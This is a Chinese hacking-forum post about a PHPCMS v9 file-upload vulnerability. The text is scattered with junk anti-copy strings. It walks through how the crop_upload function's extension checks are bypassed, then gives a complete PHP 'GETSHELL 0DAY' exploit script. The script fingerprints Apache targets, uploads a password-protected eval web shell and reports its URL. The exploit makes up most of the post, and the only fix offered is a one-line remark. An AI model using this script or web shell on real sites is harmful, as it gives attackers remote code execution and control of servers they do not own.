找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2309|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行; B4 q0 @0 p1 U
% A8 x; T9 t. c/ G
简要描述:
3 P! X, X: f8 M& A$ f- d5 ?
# R% s. K/ H& F  M( A) B3 W  m# Rphpcms v9 getshell (apache)
& |1 v6 ]* f! j7 [详细说明:
" Y" T+ u$ |& H: K: Y' [8 q: {' h' ~& u
漏洞文件:phpcms\modules\attachment\attachments.php4 `9 g0 x0 [8 B- h

/ f8 T( l" L. D0 Z9 ~5 Bpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } - I% |' R6 C6 {/ L; O
后缀检测:phpcms\modules\attachment\functions\global.func.php
0 F  B9 `& c2 g% ^
! G% }" L/ f6 l3 t9 Y
  n4 }6 R1 g1 J' n8 V2 b: e7 a( E* A3 C* @
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  9 \. V8 a2 A7 ~
7 S' e# |+ p* ~- A! o( S5 z
关键函数:
$ Y3 [  T0 V( g6 B* u' X! D/ e1 h  ]6 L0 Y; B" u4 {0 V

6 Q3 F# L: t& G8 [
9 f& k+ T, c: ?6 |  R8 s  c. v6 Mfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  9 B' A0 T5 q8 M$ C4 k
4 A! i7 [2 l4 D/ k5 y4 L
  Fileext函数是对文件后缀名的提取。; V7 {3 E9 s0 a& g! ^/ s) ?' x( s
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
9 L0 s7 B& U: T5 S$ n经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。9 A7 S# }4 r4 ?" [7 X' {
我们回到public function crop_upload() 函数中! `( x  m% o5 f" ^3 y! X/ b1 e
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();& E9 o; g4 T+ p( P
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数' q4 y& q& _, i; ?: y
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。1 J. E( D+ {$ E
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
0 r! Q$ u# \2 H$ |+ a4 j2 O最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
2 J" G  h) i3 B& d- s# h看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
6 G9 Y- F% v4 i( X7 ~% |+ d6 x漏洞证明:5 G, _. K; f, ]8 C

1 t/ u) ]8 t3 o/ x0 \7 r; l8 aexp:
/ ]; @, x- l8 ]
6 o" [: }' O' @7 o) z7 p5 F<?php9 @" ^. R3 ?* d% ^, |
error_reporting(E_ERROR);/ n: I! n; b' [, J4 U& {! |$ g
set_time_limit(0);
) ~, M' m( C- `& F( \, p! B7 k$pass="ln";) K& |: p+ W4 G' m
print_r('
; [3 c- u/ ?8 r% U8 u% y/ a+---------------------------------------------------------------------------+, m. P5 A, [" I* P2 O5 h
PHPCms V9 GETSHELL 0DAY 8 g+ I, O. Y/ K; c
code by L.N.
+ L) K3 |$ R% Q/ c0 w' {% h* m, A' Z% e  y
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net' W6 o/ X" d  m% J% L1 V: V
+---------------------------------------------------------------------------+
3 }  _$ Y6 [6 K  _/ Q');
1 x' l" n. z* Yif ($argc < 2) {8 A$ \, V: h: h' i3 C; r
print_r('
+ n; d$ {+ O! B9 z& H+---------------------------------------------------------------------------+
) j) R% S8 q( T# W0 lUsage: php '.$argv[0].' url path
0 ?# `1 D, P. o* z4 @( y" F
& x. e, {; u- R, bExample:$ b3 O7 B& P- N9 R0 U
1.php '.$argv[0].' lanu.sinaapp.com
' n4 Q0 i8 w% h* P, [- j4 T8 P+ Q0 S" w2.php '.$argv[0].' lanu.sinaapp.com /phpcms
% }1 x% ^5 v5 A2 S: p+---------------------------------------------------------------------------+& C6 a6 A: }' ^$ y0 _: [4 C* W
');
' J7 b* f2 Q8 n! Kexit;. f" N# u( A* ~$ x4 u- w) a/ M
}9 W$ k& n- l7 c7 k  H! N6 m

0 h/ {0 q3 E7 x' C$url = $argv[1];
6 e/ u3 L$ h2 c; q8 L1 E$ C6 Y9 m: V$path = $argv[2];
% E0 C7 s' d# X: Q1 Z2 g' d$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
7 L; [$ q/ V' Z$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
$ c5 }/ L) |: R$ L0 xif($ret=Create_dir($url,$path))% T$ `8 Q# ?- z
{7 N, X; k: M# |) {+ N% T: z
//echo $ret;$ P$ r! \# ]) H  t
$pattern = "|Server:[^,]+?|U";* ?+ y* T9 X2 O+ V  w+ ^3 c
preg_match_all($pattern, $ret, $matches);
) o' p8 _3 O  Bif($matches[0][0])
0 r* J/ m7 C0 i$ l{
5 J3 Y+ F2 _/ G8 u, N1 M+ N. h/ F& Lif(strpos($matches[0][0],'Apache') == false)5 g0 Z# @3 f. p' y
{
9 m' r: g& j8 p1 U3 kecho "\n亲!此网站不是apache的网站。\n";exit;, J5 P3 h5 _+ T5 ^/ C  o$ a; r& {
}
5 a- K* |2 S; a) u! p" O}, b' h2 c1 q+ Z2 w( ^1 F
$ret = GetShell($url,$phpshell,$path,$file);
" }  M. D* ~- i/ Y1 C$pattern = "|http:\/\/[^,]+?\.,?|U";7 V$ P  K5 \$ E8 T+ H4 B4 e4 c! H  u
preg_match_all($pattern, $ret, $matches);
- d7 b5 L7 d! B: Y# Z! jif($matches[0][0])
: n' K/ V# Z. V* Z5 I+ `3 @" N& P{
* H1 b2 t4 R! l0 A+ j. X/ _echo "\n".'密码为: '.$pass."\n";
4 T) S; \$ f2 G# V, m0 uecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;' V4 q5 g8 A  D0 y: w  g
}+ P" r, g6 m, U+ y0 K# W! ]
else  M# v2 z  `( j7 l5 `3 i/ l' q
{( h  j# Q( H5 y3 z
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
" y  d% x! u% ?( F2 h! p1 Spreg_match_all($pattern, $ret, $matches);
/ a" f, R0 V/ @3 Zif($matches[0][0])
. E1 y& r. U8 @4 ~: ^. c# [{
! ]+ A& H* a8 P: Z. G9 Qecho "\n".'密码为: '.$pass."\n";9 f$ \9 R8 ^* M: k) f! @; Y- r2 c
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;2 }. N% V7 a7 g- B" b
}
, \% g9 M9 ?! p: P1 d8 ^5 Celse
( Q* T* e* Z+ o3 h; K1 j4 R5 w' o, X$ G{0 J0 n2 Q5 C  R& d0 L  Z
echo "\r\n没得到!\n";exit;
3 i3 c7 H+ C' B: K% a! E1 @}& R: u& U8 c& _, W& S
}* @) @+ `# d  p, V. |
}- i% j" q: i/ p5 a
; B, Z$ j$ e  d- S5 z4 W
function GetShell($url,$shell,$path,$js)
+ g: s3 O  A/ w' A# h6 M7 U{
7 W. L3 p4 Y" N7 `3 @$content =$shell;
- }7 S6 c# Z4 z8 @0 ]2 K  P6 |$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";# H  E8 i6 X3 k+ n* D
$data .= "Host: ".$url."\r\n";( G1 C3 d0 L# |; ~6 i
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
+ Z. d4 q& P! V) o+ a0 t# ?$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
( b+ U: a4 F8 X4 }$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
& ]4 b7 b( q" j6 p% Z! t$data .= "Connection: close\r\n";
# u; ~" s' F+ K) M* d4 `$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
8 ?7 W1 Q- R- @; {0 q) z0 y$data .= $content."\r\n";
( ~( e6 m2 ^: h  V8 h" N$ock=fsockopen($url,80);
; M, b5 c3 s0 m& J. z  l# _if (!$ock)  F* N7 S% W( y' T$ m
{
* u3 ~, O& H( w$ r4 {3 ^- g# L5 decho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
6 e+ H6 j* T: i1 `. V& t  L}
& e( }) x# P5 k2 N/ Q( N$ R  c+ Xelse' ^' W( r/ z3 H% |
{4 ?0 F: K  ?) E/ A
fwrite($ock,$data);+ K8 r/ t/ g' s8 r; l$ n
$resp = '';* u* }5 B/ z% A
while (!feof($ock))% J$ I4 P" m/ ^
{$ ^0 a+ n! @' P5 f! o$ ?
$resp.=fread($ock, 1024);
$ I" ]1 C+ z0 ^. Z}) t' M& h! v5 O- f' d- o. q6 l4 u( n. ^
return $resp;
8 Q; N. H* }! q# z4 u9 z6 `}' Q9 M, I; a8 O% E& U/ k2 t
}
6 X3 }( {7 T6 t- v$ D9 W( K, F) [
9 N6 y3 e1 A( I2 F5 r/ n9 F0 Pfunction Create_dir($url,$path='')
0 P6 q$ m) m9 q. j8 L{
6 E" L1 a( X2 U$content ='I love you';! `! U- `4 b) S# B, I% X
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
8 I) N. O! B9 h' ^1 k$data .= "Host: ".$url."\r\n";
) R: J9 \' x# v$ }: I" P$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";8 |  X/ x1 u4 N. n: \5 p* t/ W# ~+ O
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";2 M+ P$ X7 n* Z+ R4 K5 P; i8 z
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";# Z  u; s7 q- z' H$ h4 q
$data .= "Connection: close\r\n";
* {: g9 Y: d+ [: D$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
! @/ n  Y2 ]6 |! s; k& M3 k1 Q$data .= $content."\r\n";4 l8 |( \" D, k
$ock=fsockopen($url,80);
: t/ W5 ?2 F$ _1 `0 Nif (!$ock). i6 j. Q' |) L& t) t5 g- k
{
0 l# Z( R" `5 _6 b7 kecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;5 B0 q3 a% r) b1 A, }
}3 w. R' ^* I( U+ S
fwrite($ock,$data);3 j+ e0 W+ k8 {  i2 o, E: l6 o
$resp = '';' e/ r; E4 T0 x5 F* d
while (!feof($ock))
3 z) A; I  U+ ^# q* o{: w. _# H7 M8 i( T1 p
$resp.=fread($ock, 1024);
9 }& A; E0 e& `+ w# m- f}0 I% d# U. A! {2 d5 z
return $resp;& t3 v( a/ j7 L; s" w
}) D6 I: z, w6 o* E7 P
?> " E" D$ A! _# K9 G
+ H3 f( G* r  ]$ A& T7 i( e" a+ S1 c
修复方案:
& ?, u7 Q+ `1 G; s9 ?
0 L* D3 u( ]/ t7 e过滤过滤再过滤
' x, _7 U! U) G6 z8 D* Q  P8 y+ |; ?. j4 v  f6 I" v/ `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表